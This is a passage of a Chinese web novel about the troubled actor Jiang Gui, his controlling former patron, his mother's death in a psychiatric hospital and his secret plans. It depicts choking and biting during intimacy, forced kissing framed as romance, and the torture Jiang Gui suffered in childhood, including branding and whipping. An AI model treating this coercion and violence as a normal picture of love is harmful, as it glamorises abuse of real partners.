姜瑰眼前张牙舞爪的变形和幻想在濒临死亡的窒息里遁形,他终于清楚的看到面前谢筠池的样子—— 是很好看的。 比两人七年前的初见多了成熟,多了魅力,多了深邃。 姜瑰软软的张了张嘴:“筠池。” 谢筠池一僵,手上力度登时松了大半。 他窥见姜瑰从唇里吐出的软舌,竟鬼使神差的低头想要去含。 姜瑰却说:“筠池,你放虞亭至一次,行不行?” 谢筠池俯身的动作顿住。 半晌。 他才重新抬头,神色竟如怨鬼般幽戾:“你说什么?” 那手上的力道重新绝尘而上。 姜瑰浑身都软成一滩水,他殷红的舌尖一收又以伸,艰难的从空中索取一丁点赖以生存的空气:“你……大人有大量,放过虞亭至一次。” “你找死!姜瑰!” 谢筠池手上猛地握紧,只下一秒,就听到姜瑰一连串撕心裂肺的咳嗽。 那咳嗽像是从五脏六腑咳着血,骇人又惊悚。 而姜瑰还是没有挣扎。 他躺在谢筠池身下,眉眼明亮又专注,像是漂亮的眼底只容得下压在他身上的这唯一一个男人。 可不是的。 心里传来的剧烈的疼痛告诉谢筠池,不是的。 姜瑰来这里不是为了他谢筠池,是为了另一个男人。 可他怀里的人还在咳嗽。 他脸上好不容易泛起的糜红色迅速褪得一干二净,像是从没有出现过。 谢筠池松开手,大手向下,拉开了姜瑰身上单薄的那件衬衫。 纽扣绷得四分五裂。 姜瑰身上的温度总是偏凉的,大概由于体质不好的原因,连夏天睡觉都很难睡得热乎。 谢筠池那时候经常出差,但为了这个人,也做过很多很多次飞红眼航班连夜赶回去抱着他睡的事。 坚硬的骨节抚过姜瑰的每一寸肌理。 等感受到身下的人开始剧烈挣扎的时候——谢筠池才发现,原来他真的疼得快要窒息。 不是剧烈的。 是很细微的。 像是尖锐的细针一次又一次的戳穿心脏,于是连血痕都是遍体鳞伤。 谢筠池俯身,低头,一口咬在姜瑰深深凹下去的肩窝处。 怀里的人一怔,随即剧烈的抖起来。 谢筠池抬头,唇上染了血,衬得他像是只从地狱里爬出来的恶鬼。 “跟我道歉,姜瑰。” 谢筠池用沾着血的唇齿去纠缠姜瑰。 四瓣唇相贴,姜瑰也嗅到自己的血腥味。 姜瑰不知道自己要道什么歉,但谢筠池想听,他又有求,便很听话的说了,声音软软糯糯:“对不起。” 谢筠池犹不满足。 他啃咬姜瑰的唇,又顺着他的皮肤向下,最后去亲吻姜瑰的心脏。 未被遮挡。 姜瑰贴在心脏处的那只黑尾蝶露出来,振翅欲飞的模样。 他四肢上没有任何伤痕,唯独身体躯干从心脏处开始,许多旧伤的痕迹斑驳蔓延,像是褪不去的刀口。 谢筠池反反复复去亲那些伤痕,亲得姜瑰受不了的躲避。 “不要,谢筠池,痒。” 姜瑰用脚踢他,没什么力度,被男人握着脚踝搭在肩膀上。 “伤到底怎么弄的?” 谢筠池哑着声音,问。 姜瑰像是愣了一下,小声说:“我告诉你,你会放过虞亭至吗?” 、 好不容易缓和些的气氛再次被他弄僵了。 可惜姜瑰感受不到。 他只是有些乞求的看着谢筠池:“我知道你有域叶的内部文件,当时才会把我放那里好拿捏,虞亭至很好的,他才刚刚上任,他……” 谢筠池勾唇笑了。 昏暗的灯光随着时间入夜变了个更深的颜色。 谢筠池幽暗的神情和唇边的血染在沉沉的深色里,更显出几分渗人的味道。 但他却没有发泄。 而是伸手,重新抱住了姜瑰。 谢筠池道:“宝贝,如果我是你,在这时候想救自己的心上人,就不会说这么多话。” 姜瑰茫然的睁大眼,没有听懂。 他总是无辜。 谢筠池只觉得连呼吸都艰难,他用手指去摸姜瑰汗湿的头发,一字一句的问他:“虞亭至是你什么人?” “男朋友。” 姜瑰艳红色的唇一张一合,不拖泥带水的回答。 尖利的刀刃入喉,再顺着身体将活生生的人一刀劈开。 谢筠池连手都在抖:“姜瑰,那我是你什么人?” 姜瑰想了想,老老实实的也答了:“前金主。” 夜色沉沉里。 谢筠池终于笑了起来。 他笑得声音都在抖,像是喝醉了酒,每一个音都吐得不平稳又艰难。 他说:“好,好。” “姜瑰。” 谢筠池伸手抚摸身下那个人的心脏,一下一下,缓慢而平和。 他闭了闭眼,感受到自己激烈的胸腔震动声。 谢筠池的声音像是淬了凌冽的风,坚冷如刀:“我问你最后一次,这么多年,你有没有,哪怕一点点,爱过我?” 姜瑰水润润的眼睛看着他。 他身形单薄,身上伤痕密布,两只手被谢筠池抓在头顶,全身上下没有一点自由。 但他又仿佛格外自由。 姜瑰被破坏的神经和重复用药后的钝感早已不支持他回答出让男人满意的问题。 他思维单纯的像是孩子,只想知道自己最迫切想要的答案:“那我说爱你,你放过虞亭至,可以吗?” 原来说爱你也可以这样伤人。 谢筠池垂下眼,看了姜瑰良久。 看到姜瑰觉得他仿佛像是精神失常,才松手,也一并松开了钳着姜瑰的那只手。 谢筠池用手指拍了拍姜瑰的脸颊,轻声道:“不可以。” 姜瑰眼里的明媚顿时淡了。 谢筠池依旧觉得不够过瘾。 他站在姜瑰赐予自己的凌迟里,孤注一掷的想要反击。 于是。 谢筠池扯了下嘴角,又狠狠吻了姜瑰一口:“宝贝,你知道域叶欠了多少税吗?你卖光你自己也赔不起。” 他抬起姜瑰的下颌,亲密的吻之后,两人之间有根晶莹的线藕断丝连。 “我要你看着他进被抓,看着他进监狱,看着他被判刑,最好是枪决。” 谢筠池的每一个字都阴森而狠毒,一字一句像毒液般渗进姜瑰骨血里,吓得他连眸光都在颤抖。 “你背叛我们的爱情,逃离我。” 谢筠池一点又一点抚摸姜瑰的腰线,感受着他的僵硬和害怕,“傻瑰瑰,你凭什么觉得我会让你去另一个男人身边?” 姜瑰这段时间大概又是瘦了许多。 谢筠池握着他的手腕,只觉得嶙峋,像是皮肉裹着骨头,看不出任何健康感。 被握得重了,姜瑰望着他的眼睛里盈盈有些泪意,像清晨被雨打湿的花蕊。 可他的声音是清晰的,平静的,甚至薄淡的。 “谢筠池,我没有背叛过爱情。” 姜瑰微凉的指尖点了一下男人的脸,像是有些叹息,又像撕破脸后的无谓。 他对谢筠池笑了一下,开口:“我没爱过你。” 香榭丽迩是A市最富盛名的星标酒店,靠着四环边缘依山面水而建。 从遥遥望去,是这座大都市璀璨繁华的夺目夜色。 八车道旁路灯一水儿铺开,连排的私人会所和豪车将这座城市划分成生硬的不同区域。 而这所有的纸醉金迷于谢筠池来说不过唾手可得。 只唯独姜瑰。 唯独一个姜瑰。 唯独他妥协千万次的,全世界唯一的姜瑰。 带了凉意的晚风铺进落地窗,吹起垂落一地的纯白色窗幔,吹进谢筠池通红的眼睛里,再剜开他的五脏六腑取一碗热血来喝。 谢筠池想他现在的神情一定格外恐怖,才让被他圈在怀里的姜瑰眼底有一瞬间的惊惶和畏惧。 但他顾不得这些了。 又或许说,谢筠池自己也不知道自己在做什么了——他可能已经疯了,在听到刚刚姜瑰的那句话的那一秒。 “……你说什么?” 谢筠池听到自己问。 极度窒息和疼痛比所有药效都要管用。 姜瑰越来越明白,药物可能已经不能为他带来康复。 他必须疼痛,挣扎,流血——不断拉扯,才能牵动神经,证明自己尚且活着。 姜瑰看到清晰的世界,没有变形的沙发桌椅,他最喜欢的厚重富有安全感的意式羊毛地毯,看到流苏地灯。 他看着谢筠池,笑起来:“谢大少爷,你还不明白吗?” 姜瑰伸手,摸上谢筠池的脸,指尖流连,从眼尾一直到唇角。 “你是我最好用的跳板。” 他的语气甚至是带着赞美和欣赏的,尾调是小小的惊叹与喜悦,像是锋利的匕首,戳得谢筠池鲜血淋漓。 姜瑰拍了拍谢筠池的脸,“我会那么傻,爱上跳板吗?” 窗外风声骤起。 卷走了这座城市夏夜的最后一声蝉鸣。 谢筠池伸手去抓姜瑰的手,握在掌心,却发现那细瘦的手背上全是水意。 一滴水珠砸在两人相握的手中。 谢筠池闭了闭眼,发现自己竟然狼狈至此。 “行……行。姜瑰。” 谢筠池狠狠压住姜瑰单薄的手骨,他以全然的力量优势掌控着身下这个人,他看着姜瑰脖颈上浓重的掐痕,亦能看到那人脸上泛着窒息带来的薄红。 可这不够。 无法抗拒的痛楚和空茫悄无声息的咬噬谢筠池的每一寸骨骼。 他眼里有种自己都掩盖不住的祈求:“我只问你最后一个问题,姜瑰……我只问你这一个问题,你要……如实,回答我。” 姜瑰眨了眨眼睛:“那我回答你,你能放过虞……” 谢筠池的神色太过骇人。 姜瑰纠结了几秒,还是闷声闷气的闭了嘴,软绵绵的声音问:“你说吧。” 谢筠池一双凤眼死死的盯着他。 良久,颤着声音。 “姜瑰,从一开始就是算计,是么?” 时间太久了。 姜瑰又吃了许多药,险些都要忘记两人的第一次见面:“什么?” “你十七岁,在篮球场。” 姜瑰像是很短暂的愣了一下。 只一秒。 谢筠池静得像连呼吸都停止,看着他。 “当……然。” 姜瑰像是从陈旧的纪念册里翻出了那件不值一提的小事,他眼底空了一会儿,才望向谢筠池,“都是骗你的,筠池哥哥。” “你和姜佩玉有婚约,我那么……讨厌姜家。” 姜瑰眉眼弯弯的在谢筠池怀里笑了起来。 他笑得开心,盈盈点点的星光跳跃在他眼底,折射出谢筠池惨白的脸。 姜瑰嘻嘻笑完,竟奖励性的在谢筠池侧脸上亲了一下:“虽然你一定要和姜佩玉订婚是真的很坏,但筠池哥哥,你是我最好的工具,瑰瑰谢谢你。” 谢筠池有时候觉得人真是一种很贱的生物。 贱到最后,竟然连姜瑰说这些话他都觉得接受。 贱到这样无耻的姜瑰亲上来的时候,谢筠池依旧觉得好幸福。 可姜瑰还是要离开他。 单薄又纤细的身体从谢筠池的禁锢里贴着沙发钻出来。 姜瑰举起自己的手机晃了晃,很温柔的跟谢筠池说他要回去了。 套房的大门锁着。 谢筠池上半身未着寸缕,阴郁的眉眼笼罩在昏暗的灯光里。 “再不开门,我就给姜家打电话。” 姜瑰笑眯眯的,“你爷爷定的婚事,他还没死,你让姜佩玉伤心,你爷爷也会伤心的。” 谢筠池看着他。 “开门。” 姜瑰拿起桌上的酒杯砸谢筠池。 “吧嗒”一声解锁的机械音。 姜瑰拔腿就往外跑。 又被谢筠池猛地起身,揽着腰捉了回来,抵在墙上。 “我会和姜佩玉解除婚约,就这个月……不,就这个星期。” 谢筠池眼底还是红的。 他的手还在抖,勉强抚在姜瑰的脸,“你再……等等我,不行吗?” “不行了。” 姜瑰摇了摇头。 他有些怜惜的伸手,踮起脚,摸了摸谢筠池的头发,“我的时间不够了。” 他推开谢筠池的手,也离开这个怀抱。 拉开门。 谢筠池开口:“姜瑰,你救不了虞亭至了。” 姜瑰回头瞧他。 “除了我,还有人想他死啊。” 谢筠池对姜瑰笑了一下,“瑰瑰,你根本不知道,有人比我更盼着虞亭至去死,最好马上,立刻,就在下一秒——死无全尸,没有葬身之地。” “瑰瑰,你知道是谁吗?” 最后一句被姜瑰带上的关门声重重碰撞,飘散成空。 而同一时间。 另一间屋子里。 杜温瑜的保镖全数退了下去。 占据半面墙的巨大投影上显示出姜瑰和谢筠池的最后一道实时画面。 杜温瑜悠然坐在宽敞的沙发上,温和绅士露出笑容。 弹琴的修长手指举杯,向姜佩玉礼貌致意:“怎么样,姜公子,画质是否满意?” 姜佩玉脸色煞白,几乎摇摇欲坠。 他像是不知道该去抓自己良知的一方,还是该去补救自己支离破碎的情感:“你……杜先生,您……这是非法监督……” “是呢。” 杜温瑜将杯中的帕图斯一饮而尽,轻轻叹了口气,“那要怎样呢,你去找姜瑰?” 杜温瑜柔声道:“姜公子,你是想去找姜瑰索回你的爱情,还是找他……让他一定小心我呢?” * 虞亭至的电话依旧联系不上。 姜瑰打了两通给他的助理,接倒是接了,说辞却依旧客气,直说虞总交代过,让姜瑰在家里安心等他。 夜色已经深了。 被风吹落的第一地叶片还不是专属秋季的金黄色,走在上面也没有扑簌簌的声响。 姜瑰抬头望了一眼自己所在的这座城市。 两旁树影鬼魅,露出张牙舞爪的神情。 莫名其妙的窃窃私语声不断从两侧耳朵里传来,他分不清是真有人说话,还是幻觉。 也没必要分清了。 姜瑰习以为常。 他找了个巷边的马路牙子坐下,摸出烟点燃,吸一口,再吐出一口。 远处的住宅区有万家灯火夜归人。 姜瑰茫然了一会儿,打开手机翻到热搜,果然又看到自己挂在热搜上。 #姜瑰拒演名导电影耍大牌# #姜瑰公共场合吸烟# #姜瑰疑靠睡上位遭嫌弃,巫南添新欢# #姜瑰所在公司税务问题,负责人接受调查# 精彩啊。 姜瑰吸完最后一口烟,随意将烟蒂在腿上烫灭,拍拍烟灰,站起身来。 他没什么地方可以去。 又觉得似乎哪里都能去。 手机突地响起来。 姜瑰随手接了,才发现是城郊医院的电话。 不是庄丽平时的主治,像是个值班医生的口气:“是庄丽家属吗?她情况不太好,如果方便的话,现在需要过来一趟。” “啊。” 姜瑰醒了醒神,“行,知道了。” 去精神病院的车还是那么不好打。 姜瑰加钱又加钱,又付了回程的路费,才打到一辆。 这次的司机没有上次那个本地大爷那样开朗健谈,是个年轻人,一路沉默着开到目的地,突然问:“你是姜瑰吗?” 姜瑰吓一跳,立即摇头:“不是不是!” “哦,你眼睛有点像他。” 小年轻摆了摆手,“没事,我还以为见到我偶像了。” 姜瑰震惊了:“……姜瑰真有粉丝啊?” 小年轻不乐意了:“你怎么说话的?” “哦没有。” 姜瑰道,“就是有点好奇你喜欢他什么?” 小年轻:“不知道。” 姜瑰:“……你还挺诚实的。” “我们老百姓活着就已经拼尽全力了,喜欢还非要找出个原因吗?谁规定的?” 小年轻扭头问他,“你呢?这么晚来精神病院干什么?” 姜瑰:“寻找人生的真谛吧?” 小年轻:“……” “那你找吧。” 小年轻开着车一溜烟跑了。 只剩姜瑰熟门熟路去找了开门的大爷,溜溜达达的爬上楼。 转眼过了盛夏。 原本繁茂的藤蔓植物有些已经泛黄了。 有些楼层睡不着的病人发出声嘶力竭的尖叫,像是长夜里最后一丝不肯安眠的烛火。 姜瑰敲了敲值班室的门,没人。 护士站一个眼生的小护士探出头,冲这边道:“是庄丽家属吗?她在抢救了,你赶紧过来吧!” “哦……” 姜瑰顿了几秒,“哦。” 他走了过去。 这是间很老的病院了。 住着些快要被遗忘和抛弃的病人。 走廊尽头的抢救室亮着灯。 姜瑰站着只等了一会儿,抢救室灯灭了。 护士推着床回病房。 医生竟然还是上次的值班医生。 摘下口罩,对姜瑰道:“没意义了,就今晚的事了。” 姜瑰点了点头。 医生很少见到比自己还要平静的家属,犹豫了一下,又问:“就你一个人?” “嗯。” 姜瑰回头看了病房一眼。 医生道:“后续事宜应该要血缘亲属来。” “我知道。” 医生想不出话了:“那你去病房看看病人吧,就这几眼了。” “好。” 姜瑰扭身走了。 走了几步,像是犹豫了下,还是回过头,“我问您个事儿呗。” “您说。” 姜瑰想了想:“就您的职业生涯观察,精神分裂有能彻底治好的吗?” “很难。” 不是面对病人,医生没有隐瞒,“目前科学对于精神范畴疾病研究深入程度很有限,包括致病原因和病情研究都还在探索阶段,就现有的例子来说,结合生活实际原因和病人各类情况,临床治愈可能有,痊愈几乎没有。” 姜瑰点了点头:“那我再请教下。” “嗯?” “我从科普上看的,如果出现幻觉幻听,视野模糊变形这种情况,属于病情什么阶段?” “那要看频繁程度了。” 医生解释,“如果用药能达到控制效果,那还可以缓解,如果不能控制,可能需要住院治疗。” 医生道:“还有一部分比较严重的病人,反复用药后达到一个耐药的效果,这一类病人就比较严重,也很难恢复了。” “懂了。” 姜瑰很虚心,“我看科普上还说精神分裂会影响寿命?” “这是一个广义的概念了。 ” 医生大概今晚并不是很忙,又或者是对于一个临终病人家属的仁慈,故而多几分耐心,“往往精神分裂病人的世界观是损毁的,他们活在世界上每一分每一秒都是格外痛苦的。” 医生道:“这种情况来讲,他们的精神和身体高度拉扯,这也是为什么他们寿命受到影响的原因。” 姜瑰这次听懂了。 他露出一个很好看的笑来:“知道了,谢谢您。祝您健康。” 他实在有张太过漂亮的脸。 哪怕是在劣质又便宜的白炽灯里,依旧熠熠生辉。 医生看得晃了神,猝然移开目光,又忍不住开口:“上学的时候,我们精神专业曾经有句话。” 姜瑰:“嗯?” “不要为因为痛苦而离开的病人悲伤,他们得到了解脱。” 医生对姜瑰道,“往前看,一切都会好的。” 一切都不会好的。 姜瑰眉眼盈盈,点了点头,转身进了庄丽的病房。 床上的女人比上一次来更瘦了。 疾病和身体衰弱剥夺了她的最后一丝生机,她靠在单薄的床榻上,像行将就木的枯骨。 庄丽浑浊的眼睛看向姜瑰:“阿玉?” 姜瑰沉默片刻,嗯了一声。 庄丽打着点滴的手颤颤巍巍的抓住姜瑰的手,宛如骷髅,握得生疼。 “阿玉……你不用来看妈妈……你好好呆在姜家……” 庄丽絮絮叨叨磕磕绊绊,因为用药而快要掉光的牙齿咧开,露出空荡的泛白的牙龈,像敞开的裂口。 姜瑰低头看着握住自己的那双手,轻轻的说:“姜家有姜瑰,他才是您亲生的孩子呢。” 庄丽却一瞬间激动起来。 “呸!呸!你才是妈妈从小带大的骨肉!妈妈的宝贝!” 她声音尖锐,又撕心裂肺,攥着姜瑰的手指甲狠狠掐进姜瑰的皮肉里,带出猩红的血丝。 庄丽就用这双沾着血的手去摸姜瑰的脸:“不怕阿玉,咱们不怕,妈妈保护你,不怕那个姜瑰……我已经跟姜先生和姜太太说了……” 这个女人的手苍老,粗粝,带着凉意。 但姜瑰还是没有挣开。 他沉默了很久,才缓缓的问:“既然阿玉这么值得你们喜欢,那为什么当时要把我带回姜家呢?” “阿玉,你傻呀!” 像是终于在这惨淡的人生里找到一件有点甜味的事。 庄丽竟然笑了,她一边擦着姜瑰的脸,一边说,“你八字太轻啦,小时候去姜家镇不住,让姜瑰先给你挡挡,等长大了,妈妈就把你换回去!” 直到今天。 时隔二十多年的真相夹着浓厚的血腥味,终于来到姜瑰面前。 好像没什么惊喜。 姜瑰也笑了笑。 他伸手拉下了庄丽的手,看了她一会儿:“妈妈,姜瑰也是您亲生的呢。” “姜瑰……姜瑰……” 女人的神智已经不太清醒了,“姜瑰在姜家过少爷生活……吃喝玩乐,也会……很好的。” 她中年得病,浑浑噩噩的将带得半大的姜佩玉送回姜家,到这时还不忘念叨着他的阿玉。 姜瑰深吸口气,想抽出自己的手。 女人却抓得很牢,是最后一口气的死命:“阿玉,你是姜家的大少爷,不要怕姜瑰,妈妈保护你……” “阿玉,不要怕姜瑰,妈妈保护你……” 女人终于咽下最后一口气。 姜瑰从那双再也没有温度的手心里抽出自己的手。 女人的指印还烙在他手背上。 这是他母亲从头到尾留给他唯一的一份礼物。 不重要了。 姜瑰打开窗吹了会儿风,转身去护士站办了相关证明,接着是警局的销户,最后是殡仪馆的一条龙服务。 工作人员要了手续和证明,在看到他名字的时候似乎也愣了愣。 姜家二少爷并非姜氏血统。 的确算得上是个耸人的豪门秘辛。 但那边最终没有多说什么,只道:“我们会全权保密,请放心。您要过来告别仪式吗?” “不用告别仪式了吧。” 姜瑰办完销户的时候正是日出。 朝霞铺了满天。 他站在无人的巷尾,安静的吸烟,“这个世界上没什么人要跟她告别。” “那您……” 工作人员犹豫。 “我也不用。” 姜瑰手机新进了条信息。 他看了一眼,对电话那边道,“我们生前没有相识,死后也不必了。就这样吧。” * 信息里,姜佩玉要约姜瑰喝咖啡。 可惜这个世界上想约姜瑰喝咖啡的人太多了,姜佩玉并不能排的上号。 姜瑰打了个车,在车上回了姜佩玉信息:“我很忙,要见面就直接来域叶。” 姜瑰本来以为姜佩玉不会回。 没想到只是几秒之后,那边竟然回了好。 姜瑰:“……” 域叶倒是没有姜瑰想象中的那么萧条。 大概是因为只是配合调查的原因,公司内许多部门依旧在正常工作,只是法务部和财务部显得异常忙碌。 姜瑰过去瞅了两眼,可惜他既不会法务也帮不上财务,只得悻悻回了自己休息室。 打了通虞亭至的电话,还是没人接。 姜瑰着实有些困了。 他潦草的冲了个澡,换了衣服,窝回自己休息室的床上,缩成一团儿,没一会儿就睡着了。 醒来的时候,一睁眼。 姜佩玉直勾勾的坐在床头看着他。 姜瑰:“……” 姜瑰吓得瞌睡全没了,一个猛子扎起来:“不是,姜佩玉,你有病吧?!” 姜佩玉依旧专注的看着姜瑰,仿佛抱着某种学术的精神:“我只是想看看,他们为什么都这么喜欢你。” 姜瑰:“……” 姜瑰吓得心快跳出嗓子眼,再也睡不着了。 他掀开被子爬起来,去桌上给自己倒了杯水:“有病就去吃药,别来我这儿发疯。” 姜佩玉坐在原地没动:“小瑰,你这时候和你在家里,很不一样。” “因为我本来就这样。” 姜瑰点上烟,朝姜佩玉呵了一口,“我还酗酒,靠睡上位,八卦新闻里说的那些都是真的,怎么样?” 姜佩玉问:“那你是真的喜欢谢筠池吗?” 姜瑰:“……” 姜瑰笑了:“姜佩玉,我喜不喜欢他和你有关系吗?” 姜佩玉表情有点认真,他站起身走到姜瑰身边,微微弯腰。 姜瑰直到今天才发现姜佩玉竟然比他还要高一些。 他一手叼着烟,一手端着水杯。 而姜佩玉俯身,修长而白净的手伸过来,替姜瑰系好了敞开的衬衫纽扣。 一颗一颗。 一直扣到第二颗。 姜瑰:“……” 姜佩玉伸手摘掉了姜瑰手里的烟,格外有修养的先在烟灰缸掐灭,浸了水,才丢进垃圾桶。 他表情竟然是很认真的:“小瑰,我想过了。” 姜瑰:“??什么?” “如果你真的喜欢谢筠池。” 姜佩玉眼底有些犹豫,最终还是开了口,“那你就和他结婚吧。” 姜瑰:“?????” 姜瑰惊呆了:“姜佩玉,你是不是脑子坏掉了?” “我们都是姜家的孩子。” 姜佩玉握住姜瑰的手,“差别其实并不那么大,如果你真的喜欢谢筠池……” 姜瑰:“停,打住。” 姜瑰道:“你是不是要准备开始说你知道自己一直都占据了姜家更多的资源,我很惨很可怜很倒霉很……” 姜佩玉慌道:“我不是那个意思!” “你最好别是那个意思。” 姜瑰笑了,“我本来不恨你,姜佩玉。” 姜瑰伸手推开姜佩玉,伸手指了指大门,“但如果我发现你是那个意思,那你别怪我心狠手辣。” 姜佩玉从没见过姜瑰这种勃然变脸的状态,还想说什么:“小瑰,我……” “我不会跟你抢谢筠池,也不会跟你抢姜家。我用我所有的一切跟你保证。” 姜瑰青白色的手指点过去,“现在,赶紧滚。” 房间内重新安静下来。 从高楼层向下看去,楼下的车水人流如同细密的蚂蚁,络绎不绝。 姜瑰从没站在姜家的高楼向下看过。 他反锁了自己休息室的门,站在落地窗前。 身上的衣服一件件落下来,映着窗面,能看清一些,又看得不是那么清。 像他遮遮掩掩活过的半生。 姜瑰伸手将心口位置的枯尾蝶撕下来,露出一个被老式烙铁烙上去的,像是古代武侠小说里收押犯人烙在背上的字。 贱。 他皮肤苍白,烙上去的字倒是血红色。 姜昊成爱看武侠小说。 姜瑰小时候也顽皮过,不小心一次偷偷开门进了这个家给未来的姜佩玉准备的房间。 见到了许多那个孩童时期好没见识的新东西。 后来他也见过许许多多新东西。 各种材质的鞭绳,各种模具的刑罚,还有各种奇怪的跪法。 比如膝盖下塞两个冰袋狠狠跪上个把小时,比如把整个人捆得像个球一样用长鞭瞅着满别墅打滚,再比如各种烫伤程度对比。 还有多种多样的殴打。 落地窗外是朝阳四起。 姜瑰随便披了件衣服坐下来,半遮半露的拍了张照片,发给杜温瑜。 杜温瑜秒回:“想了?” 姜瑰抱着手机发语音:“老公,你帮我捞虞亭至出来嘛。” 杜温瑜没有说好,也没有说不好:“然后呢?” 姜瑰道:“然后给我四千万。” 杜温瑜回:“我可以给你四十亿。” 姜瑰顿了一下,回道:“你给完我钱,我和你回奥地利。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m THE END 第21章 二十一章 姜瑰的手机永远是静音模式, 一台无声无息的机器。 他这段时间的精神状态已经差的出奇,哪怕微弱的噪音也会让他产生继发性幻听,闹得一整天都不得安宁。 他趴在手机屏幕面前, 看到来自杜温瑜的转账刚好凑够了他一直等待的那个数字。 是个吉利的整数。 随即杜温瑜的信息传过来。 他用语音说:“宝贝, 等回奥地利, 我们也去订一对婚戒好吗?” 看在钱的面子上, 姜瑰难得有了个好的心情:“好哦。” 杜温瑜:“我现在来接你?” 姜瑰软绵绵的摇摇头:“明天吧,昨天都没睡好,我困了。” 杜温瑜:“那叫老公。” 姜瑰:“老公。” “乖, 老公爱你。” 姜瑰想了想, 笑起来:“嗯,我也爱你。” * A市天色最近慢慢黑得早了, 先是六七点,现在到了五六点就慢慢暗下来。 幸运的是今天竟然天色大晴,远远望过去的时候, 能看到不错的夕阳。 姜瑰打通之前早已经联系过无数次的融资公司电话:“麻烦你帮我联系姜昊成和楚岚吧,就说他们手上的持股我有意接手。” 这类融资公司和控股公司不同,他们只做中间对接的作用, 磨合关系, 可以说是净赚不亏。 负责人例行提醒姜瑰:“先生, 就目前股价和行市分析姜家公司内部亏空严重,资金流转相对困难,这才有了姜氏夫妻二人抛售产业的行为。” 负责人道:“现在接手恐怕不是最好时机。” “不要紧。” 姜瑰笑着摇头,声音里有一种纯稚的天真, “你不用跟我说这些,我听不懂。” 负责人:“……” 姜瑰:“你只需要按照我的要求做。第一,我要和他们在姜氏cbd顶楼办公室面谈;第二, 在面谈时其他公司员工不得在场;第三,当天清空整栋楼,我身份特殊,不见外人。” “这……” 负责人犹豫,“前两个问题十分合理,只时这第三个问题。清空整栋楼……” 姜瑰打断他:“我是个明星,很有名的明星。这下可以理解吗?” 明星投资向来讳莫如深,不见外人倒也说得过去。 负责人只得道:“那要把你的明星身份告诉姜氏的人吗?” “不要。” 姜瑰道,“你只需要告诉他我的要求。” 负责人显得犹豫:“可是,这样我们的竞争力不足够,恐怕……” “没什么恐怕。” 姜瑰比负责人更坦然,“放心吧,我比你更了解姜氏的现状。他们这个月再找不到资金,下个月就要宣告破产了。” 融资公司听上去仍然疑惑,但姜瑰实在给的很多。 很快,负责人就约好了时间,回来汇报给了姜瑰,同时确认道:“先生,姜昊成和楚岚提出要先看一个亿的验资,您这边……” “我没问题呀。” 姜瑰不慌不忙的坐在窗边吸烟,窗外是灯火如昼的车水马龙。 他晃着腿,竟然显得格外悠然,“要现金还是要存款额,都可以验。我这边全权委托你们,随时配合。” 姜瑰摊在桌边的电脑上是他刚查询过的账目额度。 他这些年赚钱大笔大笔,花的也大手大脚。 好在最后还是存够了钱。 负责人很快和姜昊成结束交流,将最后确认的消息发了过来。 “先生,姜氏那边看上去的确很急,很有利于我们谈判。” 融资公司发了一封正式委托的邮件给姜瑰,上面写明了具体的沟通时间和沟通地点,并将姜瑰这边所有的条件一并列了上去。 负责人发信息问:“您看还有需要什么补充吗?” “没有了。” 姜瑰疲惫的阖了阖眼,对负责人轻声道,“非常感谢你,祝我成功。” 负责人不疑有他:“也感谢您的信任,祝我们成功。” * 明明是夏末和初秋交汇的时间,但A市第二天是个格外明媚的艳阳天。 不知道是吃足了药的原因,还是心里的事多半有了结果—— 姜瑰竟然睡了个很难得的好觉,一觉睡到天亮。 这样他直到出门的时候都还挺开心。 如果不是在门前碰到了巫南的话。 姜瑰是特意收拾过才出门的,他很少会这么认真的拾掇自己,对着镜子换了新的适合自己的衣服,重新弄了头发,甚至连胸口上贴着的枯尾蝶都撕了下来。 多数无法愈合的伤口在衣着下遮遮掩掩,但没关系,它们的主人在这一天选择放过自己。 姜瑰已经很久没有认真看过镜子里的自己了。 他站了挺久。 镜子里那个人依旧很年轻,皮肤是不太健康的白,脸上瞧不出太多血色,唇有些薄,鼻尖微微翘,一颗小痣点在鼻梁,笑起来的时候,眼尾有一点点向下的弧度,显得柔和。 原来他还这么年轻。 姜瑰轻轻叹了口气,突然想起什么似的翻出手机,登上个人社交账号看了一眼——才发现前两天他粉丝刚在评论区祝他过生日快乐。 可惜这个随便乱写的日子不是他真正的生日。 就像真正的姜瑰是个没有生日的小孩。 没有被正主回复过的评论区就像荒芜的野草一般自由生长。 姜瑰刷新了一下,才发觉他的粉丝竟然这么有才,骚话一套又一套,很能自得其乐。 这样很好。 姜瑰随便选了条被顶的最高的生日祝福评论,在下面回了两个字:“谢谢。” 这是他创建这个个人社交账号以来第一次回复评论区。 姜瑰收了手机,推开房门。 巫南就站在他家门外,像个走廊尽头爬出的影子,结着愁怨凝成的实体向他看过来。 姜瑰:“……额,巫导,您有事儿?” 一旦关系断裂,连称呼都变回泾渭分明的平行线。 巫南从没有感受过姜瑰这样看他的眼神。 这样……平淡。 没有以前的专注和热烈,没有唯一和欣喜,也没有爱。 就只是看着他,仿佛他和这世界的普罗大众毫无区别。 这个发现让巫南无法忍受,近乎崩溃。 “你叫我什么?” 巫南从走廊的阴暗处往前走一步,问。 姜瑰却连多一分注意力都没时间给他,摸出手机看看时间,他急着去赶见面的点儿。 因为现在他已经不能开车,所以特意叫了网约车。 巫南好挡路。 姜瑰有些烦,想偷偷摸摸从巫南身边绕过去。 可男人实在太高大了,挺拔的站在走廊里,姜瑰怎么也过不去。 “你到底要干嘛啊?!” 姜瑰恼了,伸手推了巫南一把,“你烦不烦!” 那只手却被巫南一把抓住,从手腕握在掌心,拽进怀里,放在唇边,在手背落下个吻。 姜瑰:“???” 姜瑰被亲懵了。 巫南却一点没有要放开他的意思,反而整个人又上前一步,从后托住姜瑰的腰把他紧固在自己身前,俯身靠在他颈窝处,深深吸了口气。 像个不折不扣的变态。 巫南说:“你没换沐浴乳,瑰瑰。” 姜瑰:“……” 姜瑰觉得可能是他今天起床的方向不对,或者就是这个世界今天有哪里不对。 但一切的不对都不能干扰他出门。 姜瑰全力去推巫南,在他怀里又扯又闹:“你能不能先放开……” “不能。” 似乎终于被推得触到哪根敏感的神经。 巫南伸手钳住怀中人的下颌,强迫他抬起头看着自己,然后俯身彻底的,压迫性的覆住了姜瑰的唇。 “唔……你……唔……” 姜瑰狠狠的踢他打他,用手毫不客气的去抓他。 巫南还是不肯松手。 这个绵长而充满占有的吻一直持续了太久,久到姜瑰气喘不上来,必须倚靠巫南渡给他才能勉强倚靠着男人进行呼吸。 这栋高级公寓的公共区有休闲沙发和饮用水吧台。 